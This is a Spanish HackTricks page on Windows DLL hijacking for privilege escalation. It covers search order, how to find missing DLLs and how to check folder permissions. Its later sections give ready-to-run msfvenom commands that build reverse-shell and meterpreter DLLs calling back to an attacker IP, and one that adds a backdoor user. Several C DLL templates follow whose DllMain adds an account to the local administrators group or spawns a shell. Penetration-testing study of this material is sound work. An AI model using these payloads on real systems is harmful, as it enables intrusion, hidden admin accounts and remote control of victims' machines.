hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md

17 KiB
Raw Blame History

Dll Hijacking

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si estás interesado en una carrera en hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

Definición

Primero, aclaremos la definición. El Dll hijacking es, en el sentido más amplio, engañar a una aplicación legítima/confiable para que cargue un DLL arbitrario. Términos como DLL Search Order Hijacking, DLL Load Order Hijacking, DLL Spoofing, DLL Injection y DLL Side-Loading a menudo se usan -erróneamente- para decir lo mismo.

El Dll hijacking se puede utilizar para ejecutar código, obtener persistencia y escalar privilegios. De estos 3, el menos probable de encontrar es la escalada de privilegios. Sin embargo, como esto es parte de la sección de escalada de privilegios, me centraré en esta opción. Además, ten en cuenta que independientemente del objetivo, un Dll hijacking se realiza de la misma manera.

Tipos

Hay una variedad de enfoques para elegir, con éxito dependiendo de cómo la aplicación está configurada para cargar sus DLLs requeridos. Los enfoques posibles incluyen:

  1. Reemplazo de DLL: reemplazar un DLL legítimo con un DLL malicioso. Esto se puede combinar con DLL Proxying [2], lo que asegura que toda la funcionalidad del DLL original permanezca intacta.
  2. DLL search order hijacking: los DLLs especificados por una aplicación sin una ruta se buscan en ubicaciones fijas en un orden específico [3]. El secuestro del orden de búsqueda ocurre al colocar el DLL malicioso en una ubicación que se busca antes que el DLL real. Esto a veces incluye el directorio de trabajo de la aplicación objetivo.
  3. Phantom DLL hijacking: colocar un DLL malicioso en lugar de un DLL faltante/no existente que una aplicación legítima intenta cargar [4].
  4. Redirección de DLL: cambiar la ubicación en la que se busca el DLL, por ejemplo, editando la variable de entorno %PATH%, o los archivos .exe.manifest / .exe.local para incluir la carpeta que contiene el DLL malicioso [5, 6].
  5. Reemplazo de DLL en WinSxS: reemplazar el DLL legítimo con el DLL malicioso en la carpeta WinSxS relevante del DLL objetivo. A menudo se refiere como DLL side-loading [7].
  6. Hijacking de DLL con ruta relativa: copiar (y opcionalmente renombrar) la aplicación legítima a una carpeta accesible por el usuario, junto con el DLL malicioso. En la forma en que se usa, tiene similitudes con (Signed) Binary Proxy Execution [8]. Una variación de esto se llama (algo oximorónicamente) bring your own LOLbin [9] en la que la aplicación legítima se trae con el DLL malicioso (en lugar de copiarse del lugar legítimo en la máquina de la víctima).

Encontrando Dlls faltantes

La forma más común de encontrar Dlls faltantes dentro de un sistema es ejecutando procmon de sysinternals, estableciendo los siguientes 2 filtros:

y mostrando solo la Actividad del Sistema de Archivos:

Si estás buscando Dlls faltantes en general, debes dejar esto ejecutándose por algunos segundos.
Si estás buscando un Dll faltante dentro de un ejecutable específico debes establecer otro filtro como "Nombre del Proceso" "contiene" "<nombre del ejecutable>", ejecutarlo y detener la captura de eventos.

Explotando Dlls faltantes

Para escalar privilegios, la mejor oportunidad que tenemos es poder escribir un Dll que un proceso con privilegios intentará cargar en algún lugar donde se va a buscar. Por lo tanto, seremos capaces de escribir un Dll en una carpeta donde el Dll se busca antes que la carpeta donde el Dll original está (caso raro), o seremos capaces de escribir en alguna carpeta donde se va a buscar el Dll y el Dll original no existe en ninguna carpeta.

Orden de búsqueda de Dll

Dentro de la documentación de Microsoft puedes encontrar cómo se cargan específicamente los Dlls.

En general, una aplicación de Windows usará rutas de búsqueda predefinidas para encontrar Dlls y revisará estas rutas en un orden específico. El Dll hijacking generalmente ocurre al colocar un Dll malicioso en una de estas carpetas asegurándose de que el Dll se encuentre antes que el legítimo. Este problema se puede mitigar si la aplicación especifica rutas absolutas para los Dlls que necesita.

Puedes ver el orden de búsqueda de Dll en sistemas de 32 bits a continuación:

  1. El directorio desde el cual se cargó la aplicación.
  2. El directorio del sistema. Usa la función GetSystemDirectory para obtener la ruta de este directorio. (C:\Windows\System32)
  3. El directorio del sistema de 16 bits. No hay una función que obtenga la ruta de este directorio, pero se busca. (C:\Windows\System)
  4. El directorio de Windows. Usa la función GetWindowsDirectory para obtener la ruta de este directorio.
  5. (C:\Windows)
  6. El directorio actual.
  7. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta de aplicación por aplicación especificada por la clave de registro App Paths. La clave App Paths no se utiliza al calcular la ruta de búsqueda del Dll.

Ese es el orden de búsqueda predeterminado con SafeDllSearchMode habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta característica, crea el valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode y configúralo en 0 (por defecto está habilitado).

Si se llama a la función LoadLibraryEx con LOAD_WITH_ALTERED_SEARCH_PATH la búsqueda comienza en el directorio del módulo ejecutable que LoadLibraryEx está cargando.

Finalmente, ten en cuenta que un Dll podría cargarse indicando la ruta absoluta en lugar de solo el nombre. En ese caso, ese Dll solo se buscará en esa ruta (si el Dll tiene dependencias, se buscarán como si solo se cargaran por nombre).

Hay otras formas de alterar el orden de búsqueda, pero no las explicaré aquí.

Excepciones en el orden de búsqueda de Dll de los documentos de Windows

  • Si un Dll con el mismo nombre de módulo ya está cargado en memoria, el sistema solo verifica la redirección y un manifiesto antes de resolver al Dll cargado, sin importar en qué directorio esté. El sistema no busca el Dll.
  • Si el Dll está en la lista de Dlls conocidos para la versión de Windows en la que se está ejecutando la aplicación, el sistema usa su copia del Dll conocido (y los Dlls dependientes del conocido, si los hay) en lugar de buscar el Dll. Para una lista de Dlls conocidos en el sistema actual, consulta la siguiente clave de registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.
  • Si un Dll tiene dependencias, el sistema busca los Dlls dependientes como si se cargaran solo con sus nombres de módulos. Esto es cierto incluso si el primer Dll se cargó especificando una ruta completa.

Escalando Privilegios

Requisitos:

  • Encontrar un proceso que se ejecute/se vaya a ejecutar con otros privilegios (movimiento horizontal/lateral) que esté faltando un Dll.
  • Tener permiso de escritura en cualquier carpeta donde el Dll vaya a ser buscado (probablemente el directorio ejecutable o alguna carpeta dentro de la ruta del sistema).

Sí, los requisitos son complicados de encontrar ya que por defecto es algo raro encontrar un ejecutable con privilegios que falte un Dll y es aún más raro tener permisos de escritura en una carpeta de la ruta del sistema (por defecto no puedes). Pero, en entornos mal configurados esto es posible.
En el caso de que tengas suerte y te encuentres cumpliendo los requisitos, podrías revisar el proyecto UACME. Aunque el objetivo principal del proyecto es eludir UAC, puedes encontrar allí un PoC de un Dll hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).

Ten en cuenta que puedes verificar tus permisos en una carpeta haciendo:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Y verifique los permisos de todas las carpetas dentro de PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

También puedes verificar los imports de un ejecutable y los exports de un dll con:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Para una guía completa sobre cómo abusar del Dll Hijacking para escalar privilegios con permisos para escribir en una carpeta de System Path, consulta:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

Herramientas automatizadas

Winpeas verificará si tienes permisos de escritura en alguna carpeta dentro del PATH del sistema.
Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las funciones de PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack y Write-HijackDll.

Ejemplo

En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería crear una dll que exporte al menos todas las funciones que el ejecutable importará de ella. De todos modos, ten en cuenta que el Dll Hijacking es útil para escalar desde el nivel de Integridad Media a Alto (bypassing UAC) o de Alta Integridad a SYSTEM. Puedes encontrar un ejemplo de cómo crear una dll válida dentro de este estudio de Dll Hijacking enfocado en el Dll Hijacking para ejecución: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Además, en la sección siguiente puedes encontrar algunos códigos de dll básicos que podrían ser útiles como plantillas o para crear una dll con funciones no requeridas exportadas.

Creación y compilación de Dlls

Dll Proxifying

Básicamente, un Dll proxy es una Dll capaz de ejecutar tu código malicioso cuando se carga, pero también de exponer y funcionar como se espera al retransmitir todas las llamadas a la biblioteca real.

Con la herramienta DLLirant o Spartacus puedes indicar un ejecutable y seleccionar la biblioteca que quieres proxificar y generar una dll proxificada o indicar la Dll y generar una dll proxificada.

Meterpreter

Obtener rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Obtén un meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Crear un usuario (versión x86, no vi una versión x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Tu propia versión

Ten en cuenta que en varios casos la Dll que compiles debe exportar varias funciones que serán cargadas por el proceso víctima, si estas funciones no existen el binario no podrá cargarlas y el exploit fallará.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: